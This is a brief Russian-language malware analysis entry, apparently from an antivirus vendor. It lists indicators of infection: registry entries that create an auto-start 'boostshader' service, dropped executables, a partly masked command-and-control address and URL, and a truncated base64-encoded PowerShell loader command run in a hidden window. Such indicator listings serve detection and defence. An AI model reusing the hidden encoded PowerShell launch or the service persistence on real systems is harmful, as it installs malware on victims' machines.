Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\boostshader] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\boostshader] 'ImagePath' = '"%WINDIR%\SysWOW64\boostshader.exe"'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -enc PAAjACAASQByAGYAYQByAHUAaQBoAHkAdABsACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvAFcAYwB0AGcAcAB1AGkAbQB5ACAAIwA+ACAAJABNAGQAagB2AG0AegBsAGwAPQAnAFgAYQBvAHIAYwBx...
- %HOMEPATH%\374.exe
- %HOMEPATH%\374.exe в %WINDIR%\syswow64\boostshader.exe
- '21#.#29.24.79':8080
- http://21#.##9.24.79:8080/bml/free/ringin/merge/
- DNS ASK jo####.milfoy.net
- '%HOMEPATH%\374.exe'
- '%WINDIR%\syswow64\boostshader.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -enc PAAjACAASQByAGYAYQByAHUAaQBoAHkAdABsACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvAFcAYwB0AGcAcAB1AGkAbQB5ACAAIwA+ACAAJABNAGQAagB2AG0AegBsAGwAPQAnAFgAYQBvAHIAYwBx...' (со скрытым окном)